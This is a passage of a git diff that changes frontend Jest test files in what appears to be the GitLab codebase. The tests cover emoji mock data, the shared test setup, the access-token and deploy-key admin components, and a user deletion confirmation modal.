+ unicodeVersion: '9.0',
+ description: '...and should be filtered out',
+ },
+ multiple_moji: {
+ moji: 'ðŸ‚ðŸ­',
+ unicodeVersion: '9.0',
+ description: 'Multiple separate emoji that are not joined by a zero width joiner',
+ },
+};
+
+export const emojiFixtureMap = {
+ ...validEmoji,
+ ...invalidEmoji,
};
export const mockEmojiData = Object.keys(emojiFixtureMap).reduce((acc, k) => {
@@ -63,11 +90,14 @@ export const mockEmojiData = Object.keys(emojiFixtureMap).reduce((acc, k) => {
return acc;
}, {});
-export async function initEmojiMock(mockData = mockEmojiData) {
- const mock = new MockAdapter(axios);
- mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200, JSON.stringify(mockData));
+export function clearEmojiMock() {
+ localStorage.clear();
+ initEmojiMap.promise = null;
+}
+export async function initEmojiMock(mockData = mockEmojiData) {
+ clearEmojiMock();
+ localStorage.setItem(CACHE_VERSION_KEY, EMOJI_VERSION);
+ localStorage.setItem(CACHE_KEY, JSON.stringify(mockData));
await initEmojiMap();
-
- return mock;
}
diff --git a/spec/frontend/__helpers__/experimentation_helper.js b/spec/frontend/__helpers__/experimentation_helper.js
index e0156226acc..d5044be88d7 100644
--- a/spec/frontend/__helpers__/experimentation_helper.js
+++ b/spec/frontend/__helpers__/experimentation_helper.js
@@ -25,7 +25,7 @@ export function stubExperiments(experiments = {}) {
window.gon.experiment = window.gon.experiment || {};
// Preferred
window.gl = window.gl || {};
- window.gl.experiments = window.gl.experiemnts || {};
+ window.gl.experiments = window.gl.experiments || {};
Object.entries(experiments).forEach(([name, variant]) => {
const experimentData = { experiment: name, variant };
diff --git a/spec/frontend/matchers.js b/spec/frontend/__helpers__/matchers.js
index 945abdafe9a..945abdafe9a 100644
--- a/spec/frontend/matchers.js
+++ b/spec/frontend/__helpers__/matchers.js
diff --git a/spec/frontend/matchers_spec.js b/spec/frontend/__helpers__/matchers_spec.js
index dfd6f754c72..dfd6f754c72 100644
--- a/spec/frontend/matchers_spec.js
+++ b/spec/frontend/__helpers__/matchers_spec.js
diff --git a/spec/frontend/__helpers__/mock_apollo_helper.js b/spec/frontend/__helpers__/mock_apollo_helper.js
index 520d6c72541..ee4bbd42b1e 100644
--- a/spec/frontend/__helpers__/mock_apollo_helper.js
+++ b/spec/frontend/__helpers__/mock_apollo_helper.js
@@ -26,7 +26,5 @@ export function createMockClient(handlers = [], resolvers = {}, cacheOptions = {
export default function createMockApollo(handlers, resolvers, cacheOptions) {
const mockClient = createMockClient(handlers, resolvers, cacheOptions);
- const apolloProvider = new VueApollo({ defaultClient: mockClient });
-
- return apolloProvider;
+ return new VueApollo({ defaultClient: mockClient });
}
diff --git a/spec/frontend/mocks/ce/lib/utils/axios_utils.js b/spec/frontend/__helpers__/mocks/axios_utils.js
index 674563b9f28..674563b9f28 100644
--- a/spec/frontend/mocks/ce/lib/utils/axios_utils.js
+++ b/spec/frontend/__helpers__/mocks/axios_utils.js
diff --git a/spec/frontend/__helpers__/shared_test_setup.js b/spec/frontend/__helpers__/shared_test_setup.js
new file mode 100644
index 00000000000..03389e16b65
--- /dev/null
+++ b/spec/frontend/__helpers__/shared_test_setup.js
@@ -0,0 +1,90 @@
+/* Common setup for both unit and integration test environments */
+import { config as testUtilsConfig } from '@vue/test-utils';
+import * as jqueryMatchers from 'custom-jquery-matchers';
+import Vue from 'vue';
+import 'jquery';
+import Translate from '~/vue_shared/translate';
+import setWindowLocation from './set_window_location_helper';
+import { setGlobalDateToFakeDate } from './fake_date';
+import { loadHTMLFixture, setHTMLFixture } from './fixtures';
+import { TEST_HOST } from './test_constants';
+import customMatchers from './matchers';
+
+import './dom_shims';
+import './jquery';
+import '~/commons/bootstrap';
+
+// This module has some fairly decent visual test coverage in it's own repository.
+jest.mock('@gitlab/favicon-overlay');
+
+process.on('unhandledRejection', global.promiseRejectionHandler);
+
+// Fake the `Date` for the rest of the jest spec runtime environment.
+// https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39496#note_503084332
+setGlobalDateToFakeDate();
+
+Vue.config.devtools = false;
+Vue.config.productionTip = false;
+
+Vue.use(Translate);
+
+// convenience wrapper for migration from Karma
+Object.assign(global, {
+ loadFixtures: loadHTMLFixture,
+ setFixtures: setHTMLFixture,
+});
+
+const JQUERY_MATCHERS_TO_EXCLUDE = ['toHaveLength', 'toExist'];
+
+// custom-jquery-matchers was written for an old Jest version, we need to make it compatible
+Object.entries(jqueryMatchers).forEach(([matcherName, matcherFactory]) => {
+ // Exclude these jQuery matchers
+ if (JQUERY_MATCHERS_TO_EXCLUDE.includes(matcherName)) {
+ return;
+ }
+
+ expect.extend({
+ [matcherName]: matcherFactory().compare,
+ });
+});
+
+expect.extend(customMatchers);
+
+testUtilsConfig.deprecationWarningHandler = (method, message) => {
+ const ALLOWED_DEPRECATED_METHODS = [
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/295679
+ 'finding components with `find` or `get`',
+
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/295680
+ 'finding components with `findAll`',
+ ];
+ if (!ALLOWED_DEPRECATED_METHODS.includes(method)) {
+ global.console.error(message);
+ }
+};
+
+Object.assign(global, {
+ requestIdleCallback(cb) {
+ const start = Date.now();
+ return setTimeout(() => {
+ cb({
+ didTimeout: false,
+ timeRemaining: () => Math.max(0, 50 - (Date.now() - start)),
+ });
+ });
+ },
+ cancelIdleCallback(id) {
+ clearTimeout(id);
+ },
+});
+
+beforeEach(() => {
+ // make sure that each test actually tests something
+ // see https://jestjs.io/docs/en/expect#expecthasassertions
+ expect.hasAssertions();
+
+ // Reset the mocked window.location. This ensures tests don't interfere with
+ // each other, and removes the need to tidy up if it was changed for a given
+ // test.
+ setWindowLocation(TEST_HOST);
+});
diff --git a/spec/frontend/access_tokens/components/token_spec.js b/spec/frontend/access_tokens/components/token_spec.js
new file mode 100644
index 00000000000..1af21aaa8cd
--- /dev/null
+++ b/spec/frontend/access_tokens/components/token_spec.js
@@ -0,0 +1,65 @@
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+
+import Token from '~/access_tokens/components/token.vue';
+import InputCopyToggleVisibility from '~/vue_shared/components/form/input_copy_toggle_visibility.vue';
+
+describe('Token', () => {
+ let wrapper;
+
+ const defaultPropsData = {
+ token: 'az4a2l5f8ssa0zvdfbhidbzlx',
+ inputId: 'feed_token',
+ inputLabel: 'Feed token',
+ copyButtonTitle: 'Copy feed token',
+ };
+
+ const defaultSlots = {
+ title: 'Feed token title',
+ description: 'Feed token description',
+ 'input-description': 'Feed token input description',
+ };
+
+ const createComponent = () => {
+ wrapper = mountExtended(Token, { propsData: defaultPropsData, slots: defaultSlots });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders title slot', () => {
+ createComponent();
+
+ expect(wrapper.findByText(defaultSlots.title, { selector: 'h4' }).exists()).toBe(true);
+ });
+
+ it('renders description slot', () => {
+ createComponent();
+
+ expect(wrapper.findByText(defaultSlots.description).exists()).toBe(true);
+ });
+
+ it('renders input description slot', () => {
+ createComponent();
+
+ expect(wrapper.findByText(defaultSlots['input-description']).exists()).toBe(true);
+ });
+
+ it('correctly passes props to `InputCopyToggleVisibility` component', () => {
+ createComponent();
+
+ const inputCopyToggleVisibilityComponent = wrapper.findComponent(InputCopyToggleVisibility);
+
+ expect(inputCopyToggleVisibilityComponent.props()).toMatchObject({
+ formInputGroupProps: {
+ id: defaultPropsData.inputId,
+ },
+ value: defaultPropsData.token,
+ copyButtonTitle: defaultPropsData.copyButtonTitle,
+ });
+ expect(inputCopyToggleVisibilityComponent.attributes()).toMatchObject({
+ label: defaultPropsData.inputLabel,
+ 'label-for': defaultPropsData.inputId,
+ });
+ });
+});
diff --git a/spec/frontend/access_tokens/components/tokens_app_spec.js b/spec/frontend/access_tokens/components/tokens_app_spec.js
new file mode 100644
index 00000000000..d7acfbb47eb
--- /dev/null
+++ b/spec/frontend/access_tokens/components/tokens_app_spec.js
@@ -0,0 +1,148 @@
+import { merge } from 'lodash';
+
+import { mountExtended, extendedWrapper } from 'helpers/vue_test_utils_helper';
+
+import TokensApp from '~/access_tokens/components/tokens_app.vue';
+import { FEED_TOKEN, INCOMING_EMAIL_TOKEN, STATIC_OBJECT_TOKEN } from '~/access_tokens/constants';
+
+describe('TokensApp', () => {
+ let wrapper;
+
+ const defaultProvide = {
+ tokenTypes: {
+ [FEED_TOKEN]: {
+ enabled: true,
+ token: 'DUKu345VD73Py7zz3z89',
+ resetPath: '/-/profile/reset_feed_token',
+ },
+ [INCOMING_EMAIL_TOKEN]: {
+ enabled: true,
+ token: 'az4a2l5f8ssa0zvdfbhidbzlx',
+ resetPath: '/-/profile/reset_incoming_email_token',
+ },
+ [STATIC_OBJECT_TOKEN]: {
+ enabled: true,
+ token: 'QHXwGHYioHTgxQnAcyZ-',
+ resetPath: '/-/profile/reset_static_object_token',
+ },
+ },
+ };
+
+ const createComponent = (options = {}) => {
+ wrapper = mountExtended(TokensApp, merge({}, { provide: defaultProvide }, options));
+ };
+
+ const expectTokenRendered = ({
+ testId,
+ expectedLabel,
+ expectedDescription,
+ expectedInputDescription,
+ expectedResetPath,
+ expectedResetConfirmMessage,
+ expectedProps,
+ }) => {
+ const container = extendedWrapper(wrapper.findByTestId(testId));
+
+ expect(container.findByText(expectedLabel, { selector: 'h4' }).exists()).toBe(true);
+ expect(container.findByText(expectedDescription).exists()).toBe(true);
+ expect(container.findByText(expectedInputDescription, { exact: false }).exists()).toBe(true);
+ expect(container.findByText('reset this token').attributes()).toMatchObject({
+ 'data-confirm': expectedResetConfirmMessage,
+ 'data-method': 'put',
+ href: expectedResetPath,
+ });
+ expect(container.props()).toMatchObject(expectedProps);
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders all enabled tokens', () => {
+ createComponent();
+
+ expectTokenRendered({
+ testId: TokensApp.htmlAttributes[FEED_TOKEN].containerTestId,
+ expectedLabel: TokensApp.i18n[FEED_TOKEN].label,
+ expectedDescription: TokensApp.i18n[FEED_TOKEN].description,
+ expectedInputDescription:
+ 'Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you.',
+ expectedResetPath: defaultProvide.tokenTypes[FEED_TOKEN].resetPath,
+ expectedResetConfirmMessage: TokensApp.i18n[FEED_TOKEN].resetConfirmMessage,
+ expectedProps: {
+ token: defaultProvide.tokenTypes[FEED_TOKEN].token,
+ inputId: TokensApp.htmlAttributes[FEED_TOKEN].inputId,
+ inputLabel: TokensApp.i18n[FEED_TOKEN].label,
+ copyButtonTitle: TokensApp.i18n[FEED_TOKEN].copyButtonTitle,
+ },
+ });
+
+ expectTokenRendered({
+ testId: TokensApp.htmlAttributes[INCOMING_EMAIL_TOKEN].containerTestId,
+ expectedLabel: TokensApp.i18n[INCOMING_EMAIL_TOKEN].label,
+ expectedDescription: TokensApp.i18n[INCOMING_EMAIL_TOKEN].description,
+ expectedInputDescription:
+ 'Keep this token secret. Anyone who has it can create issues as if they were you.',
+ expectedResetPath: defaultProvide.tokenTypes[INCOMING_EMAIL_TOKEN].resetPath,
+ expectedResetConfirmMessage: TokensApp.i18n[INCOMING_EMAIL_TOKEN].resetConfirmMessage,
+ expectedProps: {
+ token: defaultProvide.tokenTypes[INCOMING_EMAIL_TOKEN].token,
+ inputId: TokensApp.htmlAttributes[INCOMING_EMAIL_TOKEN].inputId,
+ inputLabel: TokensApp.i18n[INCOMING_EMAIL_TOKEN].label,
+ copyButtonTitle: TokensApp.i18n[INCOMING_EMAIL_TOKEN].copyButtonTitle,
+ },
+ });
+
+ expectTokenRendered({
+ testId: TokensApp.htmlAttributes[STATIC_OBJECT_TOKEN].containerTestId,
+ expectedLabel: TokensApp.i18n[STATIC_OBJECT_TOKEN].label,
+ expectedDescription: TokensApp.i18n[STATIC_OBJECT_TOKEN].description,
+ expectedInputDescription:
+ 'Keep this token secret. Anyone who has it can access repository static objects as if they were you.',
+ expectedResetPath: defaultProvide.tokenTypes[STATIC_OBJECT_TOKEN].resetPath,
+ expectedResetConfirmMessage: TokensApp.i18n[STATIC_OBJECT_TOKEN].resetConfirmMessage,
+ expectedProps: {
+ token: defaultProvide.tokenTypes[STATIC_OBJECT_TOKEN].token,
+ inputId: TokensApp.htmlAttributes[STATIC_OBJECT_TOKEN].inputId,
+ inputLabel: TokensApp.i18n[STATIC_OBJECT_TOKEN].label,
+ copyButtonTitle: TokensApp.i18n[STATIC_OBJECT_TOKEN].copyButtonTitle,
+ },
+ });
+ });
+
+ it("doesn't render disabled tokens", () => {
+ createComponent({
+ provide: {
+ tokenTypes: {
+ [FEED_TOKEN]: {
+ enabled: false,
+ },
+ },
+ },
+ });
+
+ expect(
+ wrapper.findByTestId(TokensApp.htmlAttributes[FEED_TOKEN].containerTestId).exists(),
+ ).toBe(false);
+ });
+
+ describe('when there are tokens missing an `i18n` definition', () => {
+ it('renders without errors', () => {
+ createComponent({
+ provide: {
+ tokenTypes: {
+ fooBar: {
+ enabled: true,
+ token: 'rewjoa58dfm54jfkdlsdf',
+ resetPath: '/-/profile/foo_bar',
+ },
+ },
+ },
+ });
+
+ expect(
+ wrapper.findByTestId(TokensApp.htmlAttributes[FEED_TOKEN].containerTestId).exists(),
+ ).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/admin/analytics/devops_score/components/devops_score_spec.js b/spec/frontend/admin/analytics/devops_score/components/devops_score_spec.js
index 824eb033671..14f94e671a4 100644
--- a/spec/frontend/admin/analytics/devops_score/components/devops_score_spec.js
+++ b/spec/frontend/admin/analytics/devops_score/components/devops_score_spec.js
@@ -1,4 +1,4 @@
-import { GlTable, GlBadge, GlEmptyState } from '@gitlab/ui';
+import { GlTableLite, GlBadge, GlEmptyState } from '@gitlab/ui';
import { GlSingleStat } from '@gitlab/ui/dist/charts';
import { mount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
@@ -20,7 +20,7 @@ describe('DevopsScore', () => {
);
};
- const findTable = () => wrapper.findComponent(GlTable);
+ const findTable = () => wrapper.findComponent(GlTableLite);
const findEmptyState = () => wrapper.findComponent(GlEmptyState);
const findCol = (testId) => findTable().find(`[data-testid="${testId}"]`);
const findUsageCol = () => findCol('usageCol');
@@ -44,7 +44,7 @@ describe('DevopsScore', () => {
});
it('displays the correct message', () => {
- expect(findEmptyState().text()).toBe(
+ expect(findEmptyState().text().replace(/\s+/g, ' ')).toBe(
'Data is still calculating... It may be several days before you see feature usage data. See example DevOps Score page in our documentation.',
);
});
@@ -124,11 +124,11 @@ describe('DevopsScore', () => {
describe('table columns', () => {
describe('Your usage', () => {
- it('displays the corrrect value', () => {
+ it('displays the correct value', () => {
expect(findUsageCol().text()).toContain('3.2');
});
- it('displays the corrrect badge', () => {
+ it('displays the correct badge', () => {
const badge = findUsageCol().find(GlBadge);
expect(badge.exists()).toBe(true);
diff --git a/spec/frontend/admin/deploy_keys/components/table_spec.js b/spec/frontend/admin/deploy_keys/components/table_spec.js
index 3b3be488043..49bda7100fb 100644
--- a/spec/frontend/admin/deploy_keys/components/table_spec.js
+++ b/spec/frontend/admin/deploy_keys/components/table_spec.js
@@ -1,8 +1,19 @@
import { merge } from 'lodash';
-import { GlTable, GlButton } from '@gitlab/ui';
+import { GlLoadingIcon, GlEmptyState, GlPagination, GlModal } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import responseBody from 'test_fixtures/api/deploy_keys/index.json';
import { mountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import { stubComponent } from 'helpers/stub_component';
import DeployKeysTable from '~/admin/deploy_keys/components/table.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import Api, { DEFAULT_PER_PAGE } from '~/api';
+import createFlash from '~/flash';
+
+jest.mock('~/api');
+jest.mock('~/flash');
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
describe('DeployKeysTable', () => {
let wrapper;
@@ -14,9 +25,60 @@ describe('DeployKeysTable', () => {
emptyStateSvgPath: '/assets/illustrations/empty-state/empty-deploy-keys.svg',
};
+ const deployKey = responseBody[0];
+ const deployKey2 = responseBody[1];
+
const createComponent = (provide = {}) => {
wrapper = mountExtended(DeployKeysTable, {
provide: merge({}, defaultProvide, provide),
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template: `
+ <div>
+ <slot name="modal-title"></slot>
+ <slot></slot>
+ <slot name="modal-footer"></slot>
+ </div>`,
+ }),
+ },
+ });
+ };
+
+ const findEditButton = (index) =>
+ wrapper.findAllByLabelText(DeployKeysTable.i18n.edit, { selector: 'a' }).at(index);
+ const findRemoveButton = (index) =>
+ wrapper.findAllByLabelText(DeployKeysTable.i18n.delete, { selector: 'button' }).at(index);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findTimeAgoTooltip = (index) => wrapper.findAllComponents(TimeAgoTooltip).at(index);
+ const findPagination = () => wrapper.findComponent(GlPagination);
+
+ const expectDeployKeyIsRendered = (expectedDeployKey, expectedRowIndex) => {
+ const editButton = findEditButton(expectedRowIndex);
+ const timeAgoTooltip = findTimeAgoTooltip(expectedRowIndex);
+
+ expect(wrapper.findByText(expectedDeployKey.title).exists()).toBe(true);
+ expect(wrapper.findByText(expectedDeployKey.fingerprint, { selector: 'code' }).exists()).toBe(
+ true,
+ );
+ expect(timeAgoTooltip.exists()).toBe(true);
+ expect(timeAgoTooltip.props('time')).toBe(expectedDeployKey.created_at);
+ expect(editButton.exists()).toBe(true);
+ expect(editButton.attributes('href')).toBe(`/admin/deploy_keys/${expectedDeployKey.id}/edit`);
+ expect(findRemoveButton(expectedRowIndex).exists()).toBe(true);
+ };
+
+ const itRendersTheEmptyState = () => {
+ it('renders empty state', () => {
+ const emptyState = wrapper.findComponent(GlEmptyState);
+
+ expect(emptyState.exists()).toBe(true);
+ expect(emptyState.props()).toMatchObject({
+ svgPath: defaultProvide.emptyStateSvgPath,
+ title: DeployKeysTable.i18n.emptyStateTitle,
+ description: DeployKeysTable.i18n.emptyStateDescription,
+ primaryButtonText: DeployKeysTable.i18n.newDeployKeyButtonText,
+ primaryButtonLink: defaultProvide.createPath,
+ });
});
};
@@ -30,18 +92,149 @@ describe('DeployKeysTable', () => {
expect(wrapper.findByText(DeployKeysTable.i18n.pageTitle).exists()).toBe(true);
});
- it('renders table', () => {
+ it('renders `New deploy key` button', () => {
createComponent();
- expect(wrapper.findComponent(GlTable).exists()).toBe(true);
+ const newDeployKeyButton = wrapper.findByTestId('new-deploy-key-button');
+
+ expect(newDeployKeyButton.exists()).toBe(true);
+ expect(newDeployKeyButton.attributes('href')).toBe(defaultProvide.createPath);
+ });
+
+ describe('when `/deploy_keys` API request is pending', () => {
+ beforeEach(() => {
+ Api.deployKeys.mockImplementation(() => new Promise(() => {}));
+ });
+
+ it('shows loading icon', async () => {
+ createComponent();
+
+ await nextTick();
+
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
});
- it('renders `New deploy key` button', () => {
- createComponent();
+ describe('when `/deploy_keys` API request is successful', () => {
+ describe('when there are deploy keys', () => {
+ beforeEach(() => {
+ Api.deployKeys.mockResolvedValue({
+ data: responseBody,
+ headers: { 'x-total': `${responseBody.length}` },
+ });
- const newDeployKeyButton = wrapper.findComponent(GlButton);
+ createComponent();
+ });
- expect(newDeployKeyButton.text()).toBe(DeployKeysTable.i18n.newDeployKeyButtonText);
- expect(newDeployKeyButton.attributes('href')).toBe(defaultProvide.createPath);
+ it('renders deploy keys in table', () => {
+ expectDeployKeyIsRendered(deployKey, 0);
+ expectDeployKeyIsRendered(deployKey2, 1);
+ });
+
+ describe('when delete button is clicked', () => {
+ it('asks user to confirm', async () => {
+ await findRemoveButton(0).trigger('click');
+
+ const modal = wrapper.findComponent(GlModal);
+ const form = modal.find('form');
+ const submitSpy = jest.spyOn(form.element, 'submit');
+
+ expect(modal.props('visible')).toBe(true);
+ expect(form.attributes('action')).toBe(`/admin/deploy_keys/${deployKey.id}`);
+ expect(form.find('input[name="_method"]').attributes('value')).toBe('delete');
+ expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
+ 'mock-csrf-token',
+ );
+
+ modal.vm.$emit('primary');
+
+ expect(submitSpy).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('pagination', () => {
+ beforeEach(() => {
+ Api.deployKeys.mockResolvedValueOnce({
+ data: [deployKey],
+ headers: { 'x-total': '2' },
+ });
+
+ createComponent();
+ });
+
+ it('renders pagination', () => {
+ const pagination = findPagination();
+ expect(pagination.exists()).toBe(true);
+ expect(pagination.props()).toMatchObject({
+ value: 1,
+ perPage: DEFAULT_PER_PAGE,
+ totalItems: responseBody.length,
+ nextText: DeployKeysTable.i18n.pagination.next,
+ prevText: DeployKeysTable.i18n.pagination.prev,
+ align: 'center',
+ });
+ });
+
+ describe('when pagination is changed', () => {
+ it('calls API with `page` parameter', async () => {
+ const pagination = findPagination();
+ expectDeployKeyIsRendered(deployKey, 0);
+
+ Api.deployKeys.mockResolvedValue({
+ data: [deployKey2],
+ headers: { 'x-total': '2' },
+ });
+
+ pagination.vm.$emit('input', 2);
+
+ await nextTick();
+
+ expect(findLoadingIcon().exists()).toBe(true);
+ expect(pagination.exists()).toBe(false);
+
+ await waitForPromises();
+
+ expect(Api.deployKeys).toHaveBeenCalledWith({
+ page: 2,
+ public: true,
+ });
+ expectDeployKeyIsRendered(deployKey2, 0);
+ });
+ });
+ });
+
+ describe('when there are no deploy keys', () => {
+ beforeEach(() => {
+ Api.deployKeys.mockResolvedValue({
+ data: [],
+ headers: { 'x-total': '0' },
+ });
+
+ createComponent();
+ });
+
+ itRendersTheEmptyState();
+ });
+ });
+
+ describe('when `deploy_keys` API request is unsuccessful', () => {
+ const error = new Error('Network Error');
+
+ beforeEach(() => {
+ Api.deployKeys.mockRejectedValue(error);
+
+ createComponent();
+ });
+
+ itRendersTheEmptyState();
+
+ it('displays flash', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DeployKeysTable.i18n.apiErrorMessage,
+ captureError: true,
+ error,
+ });
+ });
});
});
diff --git a/spec/frontend/admin/statistics_panel/components/app_spec.js b/spec/frontend/admin/statistics_panel/components/app_spec.js
index 9c424491d04..3cfb6feeb86 100644
--- a/spec/frontend/admin/statistics_panel/components/app_spec.js
+++ b/spec/frontend/admin/statistics_panel/components/app_spec.js
@@ -1,6 +1,7 @@
import { GlLoadingIcon } from '@gitlab/ui';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
+import Vue from 'vue';
import Vuex from 'vuex';
import StatisticsPanelApp from '~/admin/statistics_panel/components/app.vue';
import statisticsLabels from '~/admin/statistics_panel/constants';
@@ -9,8 +10,7 @@ import axios from '~/lib/utils/axios_utils';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import mockStatistics from '../mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('Admin statistics app', () => {
let wrapper;
@@ -19,7 +19,6 @@ describe('Admin statistics app', () => {
const createComponent = () => {
wrapper = shallowMount(StatisticsPanelApp, {
- localVue,
store,
});
};
diff --git a/spec/frontend/admin/users/components/actions/actions_spec.js b/spec/frontend/admin/users/components/actions/actions_spec.js
index 67dcf5c6149..fa485e73999 100644
--- a/spec/frontend/admin/users/components/actions/actions_spec.js
+++ b/spec/frontend/admin/users/components/actions/actions_spec.js
@@ -1,7 +1,7 @@
import { GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { kebabCase } from 'lodash';
import { nextTick } from 'vue';
+import { kebabCase } from 'lodash';
import Actions from '~/admin/users/components/actions';
import SharedDeleteAction from '~/admin/users/components/actions/shared/shared_delete_action.vue';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
@@ -39,9 +39,6 @@ describe('Action components', () => {
});
await nextTick();
-
- expect(wrapper.attributes('data-path')).toBe('/test');
- expect(wrapper.attributes('data-modal-attributes')).toContain('John Doe');
expect(findDropdownItem().exists()).toBe(true);
});
});
@@ -66,7 +63,6 @@ describe('Action components', () => {
});
await nextTick();
-
const sharedAction = wrapper.find(SharedDeleteAction);
expect(sharedAction.attributes('data-block-user-url')).toBe(paths.block);
@@ -76,6 +72,7 @@ describe('Action components', () => {
expect(sharedAction.attributes('data-user-deletion-obstacles')).toBe(
JSON.stringify(userDeletionObstacles),
);
+
expect(findDropdownItem().exists()).toBe(true);
},
);
diff --git a/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap b/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap
index 472158a9b10..7a17ef2cc6c 100644
--- a/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap
+++ b/spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap
@@ -78,3 +78,83 @@ exports[`User Operation confirmation modal renders modal with form included 1`]
</gl-button-stub>
</div>
`;
+
+exports[`User Operation confirmation modal when user's name has leading and trailing whitespace displays user's name without whitespace 1`] = `
+<div>
+ <p>
+ content
+ </p>
+
+ <user-deletion-obstacles-list-stub
+ obstacles="schedule1,policy1"
+ username="John Smith"
+ />
+
+ <p>
+ To confirm, type
+ <code
+ class="gl-white-space-pre-wrap"
+ >
+ John Smith
+ </code>
+ </p>
+
+ <form
+ action="delete-url"
+ method="post"
+ >
+ <input
+ name="_method"
+ type="hidden"
+ value="delete"
+ />
+
+ <input
+ name="authenticity_token"
+ type="hidden"
+ value="csrf"
+ />
+
+ <gl-form-input-stub
+ autocomplete="off"
+ autofocus=""
+ name="username"
+ type="text"
+ value=""
+ />
+ </form>
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
+ icon=""
+ size="medium"
+ variant="default"
+ >
+ Cancel
+ </gl-button-stub>
+
+ <gl-button-stub
+ buttontextclasses=""
+ category="secondary"
+ disabled="true"
+ icon=""
+ size="medium"
+ variant="danger"
+ >
+
+ secondaryAction
+
+ </gl-button-stub>
+
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
+ disabled="true"
+ icon=""
+ size="medium"
+ variant="danger"
+ >
+ action
+ </gl-button-stub>
+</div>
+`;
diff --git a/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js b/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js
index 82307c9e3b3..025ae825e0d 100644
--- a/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js
+++ b/spec/frontend/admin/users/components/modals/delete_user_modal_spec.js
@@ -1,4 +1,4 @@
-import { GlButton, GlFormInput } from '@gitlab/ui';
+import { GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import DeleteUserModal from '~/admin/users/components/modals/delete_user_modal.vue';
import UserDeletionObstaclesList from '~/vue_shared/components/user_deletion_obstacles/user_deletion_obstacles_list.vue';
@@ -35,7 +35,7 @@ describe('User Operation confirmation modal', () => {
const badUsername = 'bad_username';
const userDeletionObstacles = '["schedule1", "policy1"]';
- const createComponent = (props = {}) => {
+ const createComponent = (props = {}, stubs = {}) => {
wrapper = shallowMount(DeleteUserModal, {
propsData: {
username,
@@ -51,6 +51,7 @@ describe('User Operation confirmation modal', () => {
},
stubs: {
GlModal: ModalStub,
+ ...stubs,
},
});
};
@@ -150,6 +151,30 @@ describe('User Operation confirmation modal', () => {
});
});
+ describe("when user's name has leading and trailing whitespace", () => {
+ beforeEach(() => {
+ createComponent(
+ {
+ username: ' John Smith ',
+ },
+ { GlSprintf },
+ );
+ });
+
+ it("displays user's name without whitespace", () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it("shows enabled buttons when user's name is entered without whitespace", async () => {
+ setUsername('John Smith');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findPrimaryButton().attributes('disabled')).toBeUndefined();
+ expect(findSecondaryButton().attributes('disabled')).toBeUndefined();
+ });
+ });
+
describe('Related user-deletion-obstacles list', () => {
it('does NOT render the list when user has no related obstacles', () => {
createComponent({ userDeletionObstacles: '[]' });
diff --git a/spec/frontend/admin/users/components/users_table_spec.js b/spec/frontend/admin/users/components/users_table_spec.js
index 708c9e1979e..9ff5961c7ec 100644
--- a/spec/frontend/admin/users/components/users_table_spec.js
+++ b/spec/frontend/admin/users/components/users_table_spec.js
@@ -1,5 +1,5 @@
import { GlTable, GlSkeletonLoader } from '@gitlab/ui';
-import { createLocalVue } from '@vue/test-utils';
+import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -16,8 +16,7 @@ import { users, paths, createGroupCountResponse } from '../mock_data';
jest.mock('~/flash');
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
describe('AdminUsersTable component', () => {
let wrapper;
@@ -48,7 +47,6 @@ describe('AdminUsersTable component', () => {
const initComponent = (props = {}, resolverMock = fetchGroupCountsResponse) => {
wrapper = mountExtended(AdminUsersTable, {
- localVue,
apolloProvider: createMockApolloProvider(resolverMock),
propsData: {
users,
diff --git a/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap b/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap
index f4d3fd97fd8..ec5b6a5597b 100644
--- a/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap
+++ b/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap
@@ -12,6 +12,7 @@ exports[`Alert integration settings form default state should match the default
<gl-form-group-stub
class="gl-pl-0"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-checkbox-stub
checked="true"
